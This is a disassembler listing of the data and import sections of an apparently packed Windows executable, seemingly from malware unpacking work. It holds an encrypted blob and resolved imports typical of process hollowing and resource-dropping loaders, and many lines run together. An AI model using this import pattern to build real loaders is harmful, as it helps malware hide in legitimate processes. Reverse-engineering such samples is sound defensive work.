dd 2 dup(4001E5E0h), 2 dup(4001E5E8h), 2 dup(4001E5F0h)
dd 2 dup(4001E5F8h), 2 dup(4001E600h), 2 dup(4001E608h)
dd 2 dup(4001E610h), 2 dup(4001E618h), 2 dup(4001E620h)
dd 2 dup(4001E628h), 2 dup(4001E630h), 2 dup(4001E638h)
dd 2 dup(4001E640h), 2 dup(4001E648h), 2 dup(4001E650h)
dd 2 dup(4001E658h), 2 dup(4001E660h), 2 dup(4001E668h)
dd 2 dup(4001E670h), 2 dup(4001E678h), 2 dup(4001E680h)
dd 2 dup(4001E688h), 2 dup(4001E690h), 2 dup(4001E698h)
dd 2 dup(4001E6A0h), 2 dup(4001E6A8h), 2 dup(4001E6B0h)
dd 2 dup(4001E6B8h), 2 dup(4001E6C0h), 2 dup(4001E6C8h)
dd 2 dup(4001E6D0h), 2 dup(4001E6D8h), 2 dup(4001E6E0h)
dd 2 dup(4001E6E8h), 2 dup(4001E6F0h), 2 dup(4001E6F8h)
dd 2 dup(4001E700h), 2 dup(4001E708h), 2 dup(4001E710h)
dd 2 dup(4001E718h), 2 dup(4001E720h), 2 dup(4001E728h)
dd 2 dup(4001E730h), 2 dup(4001E738h), 2 dup(4001E740h)
dd 2 dup(4001E748h), 2 dup(4001E750h), 2 dup(4001E758h)
dd 2 dup(4001E760h), 2 dup(4001E768h), 2 dup(4001E770h)
dd 2 dup(4001E778h), 2 dup(4001E780h), 2 dup(4001E788h)
dd 2 dup(4001E790h), 2 dup(4001E798h), 2 dup(4001E7A0h)
byte_4001E7A8 db 0 ; DATA XREF: sub_40001654+12o
; sub_40001654:loc_4000167Fo ...
align 4
dword_4001E7AC dd 7FF50000h ; sub_40002540:loc_4000266Ao ...
dword_4001E7B0 dd 7FE90000h ; sub_40001694+46w ...
dd 2 dup(0)
dword_4001E7BC dd 0 ; sub_400022F0+59w ...
byte_4001E7C0 db 0 ; DATA XREF: sub_400022F0+12o
; sub_400022F0:loc_4000231Bo ...
align 4
dword_4001E7C4 dd 0 ; sub_40002BB4+9r ...
dword_4001E7C8 dd 0 ; sub_40004790+4o
dword_4001E7CC dd 12FFB4h ; sub_400044F0+2r
off_4001E7D0 dd offset dword_4001830C ; DATA XREF: sub_40004518+6r
; sub_4000457C+7r ...
dword_4001E7D4 dd 1Bh ; sub_40004518+2Bw ...
off_4001E7D8 dd offset dword_4001A7B4 ; DATA XREF: sub_400045E4+20w
dd 6 dup(0)
byte_4001E7F4 db 0 ; DATA XREF: sub_40006428r
byte_4001E7F5 db 0 ; DATA XREF: sub_400190AC+2Er
align 4
dword_4001E7F8 dd 40000000h ; sub_40006474+16r ...
dword_4001E7FC dd 0 dword_4001E800 dd 0FFFFFFFFh ; .itext:loc_40019098w
dword_4001E804 dd 0 ; sub_40006758+22r ...
dword_4001E808 dd 0A24E58h ; sub_4000BE64+52o ...
byte_4001E80C db 0 ; DATA XREF: sub_40008800+24r
; sub_4000BE64+7Bw
byte_4001E80D db 0 ; DATA XREF: sub_40008800+2Cr
; sub_4000BE64+9Fw
byte_4001E80E db 2Ch ; DATA XREF: sub_40008800+14r
; sub_4000BE64+B2w
byte_4001E80F db 2Eh ; DATA XREF: sub_40008800+Cr
; sub_40008D00+14r ...
byte_4001E810 db 2 ; DATA XREF: sub_4000843E+1F9r
; sub_4000BE64+E9w
byte_4001E811 db 2Fh ; DATA XREF: sub_400096A8:loc_40009D5Br
; sub_400096A8+6C4o ...
align 4
dword_4001E814 dd 0A2C230h ; sub_400096A8+660r ...
dword_4001E818 dd 0A3A858h ; sub_4000BE64+151o ...
byte_4001E81C db 3Ah ; DATA XREF: sub_400096A8:loc_40009D7Er
; sub_400096A8+6E3o ...
align 10h
dword_4001E820 dd 0A24E98h ; sub_4000A1CC+299r ...
dword_4001E824 dd 0A24EA8h ; sub_4000A1CC+2C3r ...
dword_4001E828 dd 0A2C248h ; sub_4000A1CC+24Dr ...
dword_4001E82C dd 0A3A878h ; sub_400096A8+4A7r ...
dword_4001E830 dd 0A24D18h, 0A24D28h, 0A24D38h, 0A24D48h, 0A24D58h, 0A24D78h
; DATA XREF: sub_4000A91C+29o
; sub_4000CC50+9Fo
dd 0A24D88h, 0A24D98h, 0A24DA8h, 0A24DB8h, 0A24DC8h
dword_4001E85C dd 0A24DD8h dword_4001E860 dd 0A2C080h, 0A2C098h, 0A2C0B0h, 0A2C0C8h, 0A24D68h, 0A2C0E0h
; DATA XREF: sub_4000A91C+2Eo
; sub_4000CC50+B4o
dd 0A2C0F8h, 0A2C110h, 0A2C128h, 0A2C140h, 0A2C158h
dword_4001E88C dd 0A2C170h ; sub_400096A8+629r
dword_4001E890 dd 0A24DE8h, 0A24DF8h, 0A24E08h, 0A24E18h, 0A24E28h, 0A24E38h
; DATA XREF: sub_4000A91C+8Ao
; sub_4000CC50+C9o
dword_4001E8A8 dd 0A24E48h ; sub_400096A8+5E3r
dword_4001E8AC dd 0A2C188h, 0A2C1A0h, 0A2C1B8h, 0A2C1D0h, 0A2C1E8h, 0A2C200h
; DATA XREF: sub_4000A91C+8Fo
; sub_4000CC50+DEo
dd 0A2C218h
dword_4001E8C8 dd 409h dword_4001E8CC dd 9 ; sub_4000A170+6r ...
dword_4001E8D0 dd 1 dword_4001E8D4 dd 2C0100h ; sub_4000AA40:loc_4000AA54r ...
dword_4001E8D8 dd 6 dup(0) ; sub_4000CC50+F3o
dword_4001E8F0 dd 0 ; sub_4000AA7C+43w
dword_4001E8F4 dd 0 ; sub_4000A1CC+A6r ...
dd 6 dup(0)
dword_4001E910 dd 0 ; sub_40007E2C+10o ...
dword_4001E914 dd 0 ; sub_40007E2C+47o ...
dword_4001E918 dd 0FFFFFFFFh ; sub_400190AC+11w
dword_4001E91C dd 0A2C048h ; sub_4000B72C+12w ...
dword_4001E920 dd 0A2C060h ; sub_4000B72C+29w ...
byte_4001E924 db 0 ; DATA XREF: sub_4000C230+CBr
; sub_4000C230+F3r ...
align 4
dd 3Fh dup(0)
dword_4001EA24 dd 100h dup(0) dword_4001EE24 dd 100h dup(0) dword_4001F224 dd 0 dword_4001F228 dd 77126AEAh ; .data:off_4001B064o
dword_4001F22C dd 771993C5h dword_4001F230 dd 7713C84Ah dword_4001F234 dd 7713A795h dword_4001F238 dd 7713B747h dword_4001F23C dd 77199F08h dword_4001F240 dd 7713BF93h dword_4001F244 dd 7719ABC6h dword_4001F248 dd 7719AD1Ah dword_4001F24C dd 7713A911h dword_4001F250 dd 7713B999h dword_4001F254 dd 7719A9F4h dword_4001F258 dd 77139F38h dword_4001F25C dd 7714F193h ; .data:off_4001B0B0o
dword_4001F260 dd 7714F33Ch dword_4001F264 dd 7713C5FAh ; .data:off_4001AFF0o
dword_4001F268 dd 7716D9A8h ; .data:off_4001AF3Co
dword_4001F26C dd 77162626h ; .data:off_4001B0A0o
dword_4001F270 dd 77150154h ; .data:off_4001AFC0o
dword_4001F274 dd 7716386Bh ; .data:off_4001AF04o
dword_4001F278 dd 7714521Ah ; .data:off_4001AFC8o
dword_4001F27C dd 771500F2h ; .data:off_4001B058o
dword_4001F280 dd 0FFFFFFFFh dword_4001F284 dd 0Ah, 0 ; sub_40019144+1Ao
dd 80020004h, 0
off_4001F294 dd offset sub_400166E8 ; DATA XREF: sub_40019144+29w
; .data:off_4001B02Co
off_4001F298 dd offset sub_4000DC90 ; DATA XREF: sub_4000E35C+3Ar
; sub_40019144+33w
off_4001F29C dd offset sub_4000DBA0 ; DATA XREF: sub_4000E744+33r
; sub_4000ECE8+2Dr ...
off_4001F2A0 dd offset sub_4000DC90 ; DATA XREF: sub_4000E654+5Dr
; sub_40019144+43w
dword_4001F2A4 dd 0FFFFFFFFh ; sub_40019144+11w
dword_4001F2A8 dd 0 ; sub_40012C6C+38r ...
dword_4001F2AC dd 148508h, 0FFFFFFFFh, 4 dup(0) ; sub_40012AF4:loc_40012B4Ao ...
dword_4001F2C4 dd 0FFFFFFFFh ; .itext:loc_400191F0w
dword_4001F2C8 dd 0A333FCh ; sub_40013ED4+5Fo ...
dword_4001F2CC dd 70h ; sub_40013E14+1Fr ...
dword_4001F2D0 dd 0FFFFFFFFh ; sub_400191F8+11w
dword_4001F2D4 dd 0A41B78h ; sub_40013E60+6r ...
dword_4001F2D8 dd 0A41B50h ; sub_40013510+20r ...
dword_4001F2DC dd 0 dword_4001F2E0 dd 0A41BA0h ; sub_40013CE4+1Cr ...
dword_4001F2E4 dd 148530h, 0FFFFFFFFh, 4 dup(0) ; sub_40013E48o
dword_4001F2FC dd 0FFFFFFFFh ; .itext:loc_4001928Cw
dword_4001F300 dd 0FFFFFFFFh ; .itext:loc_40019294w
dword_4001F304 dd 2F0803BAh dword_4001F308 dd 0FFFFFFFFh ; .itext:4001929Eo
dd 60h
dword_4001F310 dd 1B00017h ; .itext:400192C8r
dword_4001F314 dd 1900015h ; .itext:400192D4r
dword_4001F318 dd 18A0021h ; sub_40015918+14r ...
dword_4001F31C dd 10003h dword_4001F320 dd 1485D0h, 0FFFFFFFFh, 4 dup(0) ; .itext:400192AFo
dword_4001F338 dd 1485F8h, 0FFFFFFFFh, 4 dup(0) ; sub_40015358+10o ...
dword_4001F350 dd 0A41BC8h ; sub_40014F8C:loc_40015175r ...
dword_4001F354 dd 0A41BF0h ; sub_400151D0:loc_4001524Br ...
dword_4001F358 dd 0A41C18h ; sub_40015270:loc_40015333r ...
dword_4001F35C dd 0A41C90h ; .itext:40019369w
dword_4001F360 dd 0A41C40h dword_4001F364 dd 0FFFFFFFFh ; .itext:loc_40019398w
byte_4001F368 db 0 ; DATA XREF: sub_40016AB0+19w
align 4
dword_4001F36C dd 0 dword_4001F370 dd 0 ; sub_40016A34+9r ...
byte_4001F374 db 0 ; DATA XREF: sub_40016A34+37w
; sub_40016A34+76w ...
align 4
dword_4001F378 dd 7C8328F7h ; resolved to->KERNEL32.ResumeThread ; sub_40017A1C+2FEr
dword_4001F37C dd 7C862A69h ; resolved to->KERNEL32.SetThreadContext ; sub_40017A1C+2F4r
dword_4001F380 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocEx ; sub_40017A1C+293r
dword_4001F384 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_40017A1C+277r
dword_4001F388 dd 7C83970Dh ; resolved to->KERNEL32.GetThreadContext ; sub_40017A1C+259r
dword_4001F38C dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_40017A1C+1F9r ...
dword_4001F390 dd 7C8260C2h ; resolved to->KERNEL32.FreeResourcedword_4001F394 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_4001F398 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_4001F39C dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_4001F3A0 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4001F3A4 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_400173FC+29Br
dword_4001F3A8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemory ; sub_40017A1C+2B0r ...
dword_4001F3AC dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40017A1C+66r ...
dword_4001F3B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4001F3B4 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40017D84+45r
dword_4001F3B8 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40017D84+54r ...
dword_4001F3BC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40017D84+67r ...
dword_4001F3C0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_40017D84+F1r
dword_4001F3C4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40017D84+13Cr ...
dword_4001F3C8 dd 3Fh dup(0) ; sub_40016FD8+58o
dd 44000000h
byte_4001F4C8 db 41h ; DATA XREF: sub_40016FD8+2Do
; sub_40016FD8+53o ...
db 0ECh, 4Dh, 61h
dd 0D3B8F575h, 0D1C1B793h, 0C09CF683h, 266D320Ch, 9D8D57E9h
dd 0C802524Ah, 0A1FC6444h, 7E485FA5h, 0DAF05E59h, 80AF4EABh
dd 0AC2B8E2Eh, 7DCD707Fh, 22DEBC2Ch, 0FB29A938h, 348F4C36h
dd 6BC5F12Fh, 551E1B07h, 379AE312h, 0D8200050h, 0BBBF5692h
dd 69F23AD5h, 17A26A11h, 54196888h, 0F3153B35h, 13DFBEBAh
dd 42E65A73h, 0EA49B660h, 7886303Eh, 976C3D9Bh, 0FF6FEEF7h
dd 1F052798h, 21CB1C95h, 0B52396C6h, 0A66E839h, 0DDA4AA9Fh
dd 28A67B7Ah, 0C7476EC4h, 0A8851A01h, 3C2DEDCAh, 0D1D4F06h
dd 53796514h, 0D9D78971h, 5CC2CFDBh, 0EF91770Bh, 0B4E0A746h
dd 0C3D07431h, 43C93399h, 0AED2B2FDh, 0F72F47Ch, 84B2409h
dd 0E2185D25h, 82F8B0A3h, 0AD62CEF9h, 81459E04h, 8463E187h
dd 0BD8CB316h, 0A00E032Ah, 0FADC1040h, 0B99058D4h, 0E4B1E53Fh
dd 0CC675B76h, 0EBD65194h, 0FE8BE78Ah
dword_4001F5C8 dd 7FEF0010h ; .itext:4001982Dr ...
dword_4001F5CC dd 0 ; .itext:400198A3o ...
dword_4001F5D0 dd 0 ; .itext:400198C2r ...
dword_4001F5D4 dd 42h dup(0) ; .itext:40019907o
dword_4001F6DC dd 0 ; .itext:40019A45r
dword_4001F6E0 dd 3 ; sub_40017F10+17r ...
off_4001F6E4 dd offset dword_4002B378, 4 dup(0) ; DATA XREF: .itext:40019646o
dword_4001F6F8 dd 53h dup(0) ; .itext:400199E6o ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: .itext:4001956Eo
; .itext:40019584o ...
align 10h
dd 3Bh dup(0)
dword_4001F94C dd 0 ; .itext:400195CAo ...
dword_4001F950 dd 0A24EB8h ; .itext:40019673o ...
dword_4001F954 dd 0A1DA68h ; .itext:400196DFo ...
dword_4001F958 dd 7FE90018h ; .itext:40019713o ...
dword_4001F95C dd 27511h ; .itext:40019707o ...
dword_4001F960 dd 4200h ; .itext:400195ADr
dword_4001F964 dd 10h dup(0) ; .itext:400195D6o
db 0
byte_4001F9A5 db 49h, 5Ah, 4Ah ; DATA XREF: .itext:40019635o
dd 0Ah dup(0)
db 2 dup(0)
word_4001F9D2 dw 0 ; DATA XREF: .itext:40019865o
dd 0Fh dup(0)
db 3 dup(0)
byte_4001FA13 db 5Dh ; DATA XREF: .itext:4001963Fo
dd 574D4126h, 7F515549h, 4C454454h, 77595B4Dh, 0F594862h
dd 58515060h, 17515B5Dh, 534E5C75h, 4F625953h, 266B7569h
dd 527D102Dh, 1E534D51h, 59751815h, 56480258h, 4Ah, 1031h dup(0)
dword_40023B14 dd 0 dd 0
dword_40023B1C dd 0 ; .itext:400195DBr ...
dd 0
dword_40023B24 dd 3, 9 dup(0) dword_40023B4C dd 1Bh ; .itext:4001968Er ...
dword_40023B50 dd 0 ; .itext:40019688r ...
dword_40023B54 dd 3Fh ; .itext:4001969Ar ...
dword_40023B58 dd 0 ; .itext:40019694r ...
byte_40023B5C db 1 ; DATA XREF: .itext:loc_400197E0r
byte_40023B5D db 1 ; DATA XREF: .itext:400197AEr
align 10h
dd 0
dword_40023B64 dd 0 ; .itext:40019630w ...
aCWindowsSyst_0 db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019498o
; .itext:400194D1o ...
dd 3Bh dup(0)
dword_40023C68 dd 0 dword_40023C6C dd 0 dword_40023C70 dd 0 dword_40023C74 dd 0 dword_40023C78 dd 0 ; .itext:40019457r
aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: .itext:40019428o
; .itext:40019437o
dd 6Dh dup(0)
dword_40023E44 dd 0A0F378h ; .itext:40019446o
dword_40023E48 dd 27511h ; .itext:40019736r ...
dword_40023E4C dd 55000h ; .itext:4001980Br ...
dword_40023E50 dd 0 ; .itext:400199FFr ...
_bss ends
; Section 5. (virtual address 00024000)
; Virtual size : 00001134 ( 4404.)
; Section size in file : 00001134 ( 4404.)
; Offset to raw data for section: 00024000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata segment para public 'DATA' use32
assume cs:_idata
;org 40024000h
dd 24140h, 2 dup(0)
dd 24678h, 243DCh, 24150h, 2 dup(0)
dd 246C0h, 243ECh, 24160h, 2 dup(0)
dd 24700h, 243FCh, 24178h, 2 dup(0)
dd 24756h, 24414h, 24218h, 2 dup(0)
dd 249F4h, 244B4h, 2422Ch, 2 dup(0)
dd 24A40h, 244C8h, 24254h, 2 dup(0)
dd 24AC4h, 244F0h, 242A4h, 2 dup(0)
dd 24C12h, 24540h, 24368h, 2 dup(0)
dd 24F64h, 24604h, 24388h, 2 dup(0)
dd 24FE6h, 24624h, 24394h, 2 dup(0)
dd 25014h, 24630h, 243A0h, 2 dup(0)
dd 25040h, 2463Ch, 243A8h, 2 dup(0)
dd 25056h, 24644h, 243CCh, 2 dup(0)
dd 250F8h, 24668h, 243D4h, 2 dup(0)
dd 25118h, 24670h, 5 dup(0)
dd 24686h, 24696h, 246ACh, 0
dd 246CEh, 246E2h, 246F2h, 0
dd 2470Ch, 2471Eh, 2472Eh, 2473Ch, 2474Ah, 0
dd 24764h, 2476Eh, 24776h, 24784h, 24794h, 247A4h, 247BEh
dd 247D4h, 247ECh, 24804h, 24814h, 2482Ah, 24840h, 2484Ch
dd 24858h, 2486Ah, 2487Ch, 2488Eh, 248A0h, 248B4h, 248CAh
dd 248DCh, 248ECh, 248FEh, 2490Ch, 2491Eh, 2492Ah, 24938h
dd 24944h, 24960h, 24972h, 24982h, 2498Eh, 2499Ah, 249ACh
dd 249BCh, 249CAh, 249D8h, 249E6h, 0
dd 24A02h, 24A10h, 24A1Eh, 24A2Ch, 0
dd 24A4Ch, 24A58h, 24A66h, 24A74h, 24A80h, 24A94h, 24AA2h
dd 24AAAh, 24AB6h, 0
dd 24ACEh, 24AE0h, 24AF0h, 24AFAh, 24B06h, 24B14h, 24B24h
dd 24B34h, 24B40h, 24B52h, 24B6Ch, 24B7Eh, 24B8Eh, 24BA6h
dd 24BB6h, 24BC2h, 24BD6h, 24BE6h, 24BFCh, 0
dd 24C20h, 24C3Eh, 24C4Ah, 24C54h, 24C6Ah, 24C7Ah, 24C82h
dd 24C94h, 24CA6h, 24CB2h, 24CC0h, 24CCCh, 24CE2h, 24CECh
dd 24CFCh, 24D0Ch, 24D1Ch, 24D34h, 24D50h, 24D60h, 24D70h
dd 24D82h, 24D92h, 24DA8h, 24DB8h, 24DCAh, 24DDEh, 24DF4h
dd 24E06h, 24E16h, 24E26h, 24E40h, 24E54h, 24E66h, 24E7Ch
dd 24E88h, 24E98h, 24EA6h, 24EB8h, 24EC8h, 24ED6h, 24EEAh
dd 24F02h, 24F1Ah, 24F28h, 24F38h, 24F44h, 24F56h, 0
dd 24F72h, 24F84h, 24F98h, 24FA8h, 24FB6h, 24FC8h, 24FD6h
dd 0
dd 24FF4h, 25004h, 0
dd 2501Eh, 25030h, 0
dd 2504Eh, 0
dd 25064h, 2507Ah, 25090h, 250A6h, 250B8h, 250CCh, 250DAh
dd 250EAh, 0
dd 25102h, 0
dd 25124h, 0
dword_400243DC dd 77124880h dword_400243E0 dd 771544ADh dword_400243E4 dd 77124BA7h dd 0
dword_400243EC dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_400243F0 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_400243F4 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey dd 0
dword_400243FC dd 7E43119Bh ; resolved to->USER32.GetKeyboardTypedword_40024400 dd 7E41DAEAh ; resolved to->USER32.DestroyWindowdword_40024404 dd 7E42DFA8h ; resolved to->USER32.LoadStringAdword_40024408 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_4002440C dd 7E42DF50h ; resolved to->USER32.CharNextA dd 0
dword_40024414 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_40024418 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_4002441C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_40024420 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_40024424 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_40024428 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_4002442C dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_40024430 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_40024434 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_40024438 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_4002443C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_40024440 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_40024444 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_40024448 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_4002444C dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExAdword_40024450 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40024454 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_40024458 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4002445C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_40024460 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_40024464 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_40024468 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_4002446C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_40024470 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_40024474 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_40024478 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_4002447C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_40024480 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; .text:loc_400033E4r
dword_40024484 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_40024488 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_4002448C dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_40024490 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_40024494 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_40024498 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_4002449C dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_400244A0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_400244A4 dd 7C810E51h ; resolved to->KERNEL32.GetFileTypedword_400244A8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_400244AC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle dd 0
dword_400244B4 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValuedword_400244B8 dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_400244BC dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_400244C0 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA align 8
dword_400244C8 dd 7E41869Dh ; resolved to->USER32.ReleaseDCdword_400244CC dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_400244D0 dd 7E42DFA8h ; resolved to->USER32.LoadStringA dd 7E4208CEh
dword_400244D8 dd 7E418F9Ch ; resolved to->USER32.GetSystemMetricsdword_400244DC dd 7E418E78h ; resolved to->USER32.GetSysColordword_400244E0 dd 7E4186C7h ; resolved to->USER32.GetDCdword_400244E4 dd 7E42DF50h ; resolved to->USER32.CharNextAdword_400244E8 dd 7E41AEF1h ; resolved to->USER32.CharToOemA align 10h
dword_400244F0 dd 77F1D85Fh ; resolved to->GDI32.UnrealizeObjectdword_400244F4 dd 77F15D87h ; resolved to->GDI32.SetTextColordword_400244F8 dd 77F1D8F8h ; resolved to->GDI32.SetROP2dword_400244FC dd 77F15EEBh ; resolved to->GDI32.SetBkModedword_40024500 dd 77F15E39h ; resolved to->GDI32.SetBkColordword_40024504 dd 77F1832Ah ; resolved to->GDI32.SelectPalettedword_40024508 dd 77F15B80h ; resolved to->GDI32.SelectObjectdword_4002450C dd 77F1ADC3h ; resolved to->GDI32.MoveToExdword_40024510 dd 77F1DC1Fh ; resolved to->GDI32.GetTextMetricsAdword_40024514 dd 77F1B2F1h ; resolved to->GDI32.GetSystemPaletteEntries dd 77F161D1h
dword_4002451C dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCapsdword_40024520 dd 77F2EAEBh ; resolved to->GDI32.GetCurrentPositionExdword_40024524 dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_40024528 dd 77F16E6Fh ; resolved to->GDI32.DeleteDCdword_4002452C dd 77F24077h ; resolved to->GDI32.CreatePenIndirectdword_40024530 dd 77F1B1F1h ; resolved to->GDI32.CreatePalettedword_40024534 dd 77F1E2E3h ; resolved to->GDI32.CreateFontIndirectAdword_40024538 dd 77F1D991h ; resolved to->GDI32.CreateBrushIndirect align 10h
dword_40024540 dd 7C835D54h ; resolved to->KERNEL32.WritePrivateProfileStringAdword_40024544 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40024548 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_4002454C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_40024550 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_40024554 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_40024558 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_4002455C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_40024560 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_40024564 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEventdword_40024568 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_4002456C dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_40024570 dd 7C8097C6h ; resolved to->KERNEL32.MulDivdword_40024574 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_40024578 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_4002457C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_40024580 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_40024584 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_40024588 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4002458C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_40024590 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40024594 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_40024598 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4002459C dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_400245A0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_400245A4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_400245A8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_400245AC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_400245B0 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_400245B4 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_400245B8 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_400245BC dd 7C8302EDh ; resolved to->KERNEL32.GetDiskFreeSpaceAdword_400245C0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_400245C4 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_400245C8 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfodword_400245CC dd 7C8260C2h ; resolved to->KERNEL32.FreeResourcedword_400245D0 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_400245D4 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_400245D8 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_400245DC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_400245E0 dd 7C838211h ; resolved to->KERNEL32.EnumCalendarInfoAdword_400245E4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_400245E8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_400245EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_400245F0 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_400245F4 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_400245F8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringAdword_400245FC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle dd 0
dword_40024604 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_40024608 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_4002460C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_40024610 dd 77DEB908h ; resolved to->ADVAPI32.RegFlushKeydword_40024614 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_40024618 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_4002461C dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA dd 0
dword_40024624 dd 7712A63Fh dword_40024628 dd 77124880h align 10h
